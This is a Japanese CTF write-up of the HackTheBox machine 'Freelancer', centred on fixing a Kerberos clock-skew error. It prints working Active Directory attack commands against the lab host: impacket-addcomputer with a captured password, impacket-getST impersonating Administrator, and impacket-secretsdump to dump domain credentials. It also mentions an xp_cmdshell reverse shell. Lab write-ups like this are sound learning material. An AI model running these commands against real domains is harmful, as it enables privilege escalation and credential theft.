HackTheBox/Freelancer

複数の攻略記事を見比べて、自分なりに検証もしてみて、やっとroot.txtにたどり着くことが出来ました。

軽く触れてみると
・QR-CODEから得られたURLのID部分。base64でエンコードされています。ここを書き換えてのセッションハイジャック。（個人的にはここが一番萌えた）
・SQL Terminalからxp_cmdshellを起動してリバースシェル。
・MemProcFSを使ってのフォレンジック。
・・等々

Difficulty: Hardの内容盛りだくさんのMachineでした。

kerberos

そんな中で、今回記事にしてみたいのはkerberosでのエラーについてです。
素人が一生懸命やったことなので理解が間違っているかもしれませんが、私と同じように時刻同期のエラーでつまづいたという人の目に触れて、一助になれば幸いです。

タイトルにある通りKerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)なんですが
そこまでの過程でlorra199：'PWN3D#l0rr@Armessa199'を取得しています。

そして攻略記事を参考に

impacket-addcomputer -computer-name 'aaaaaaaaaa$' -computer-pass 'bbbbbbb' -dc-host freelancer.htb -domain-netbios freelancer.htb freelancer.htb/lorra199:'PWN3D#l0rr@Armessa199'

攻撃用のコンピューターを追加します。名前は'aaaaaaaaaa$'、パスワードは'bbbbbbb'にしています。

'aaaaaaaaaa$'に書き込み権限を委任します。

ここまでは順調です。そして、チケットを取りに行くところでエラー発生！！

Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
調べてみると、クライアントとサーバー間の時刻のズレが大きすぎるために発生するエラーとのこと。

timedatectl status

で確認

sudo timedatectl set-ntp true

で設定を変えてみる

それでもダメ

次の手段でntpdate -u 10.10.11.5でターゲットと時刻の同期を試みる。が、not permittedとなる。

それならば、rootになって作業ディレクトリも変えて

systemd-timesyncdとの競合を避けるために

systemctl stop systemd-timesyncd

で自動時刻同期を一時的に停止する。

再度、ntpdate -u 10.10.11.5で同期を試みる。

CLOCK: time stepped by 18000.248677(18000秒/60/60=5時間)時刻が調整されました

ふたたび

impacket-getST -spn 'cifs/DC.freelancer.htb' -impersonate Administrator -dc-ip 10.10.11.5 'freelancer.htb/aaaaaaaaaa$:bbbbbbb'

実行すると

(。´・ω・)ん?なんか成功してるっぽい

カレントディレクトリを調べてみると

あったー!!――(ﾟ∀ﾟ)――!!

あとはこれをセオリー通りKRB5CCNAMEに格納して

impacket-secretsdump 'freelancer.htb/Administrator@DC.freelancer.htb' -k -no-pass -dc-ip 10.10.11.5 -target-ip 10.10.11.5

を実行

最後に

よっしゃー！で、侵入できました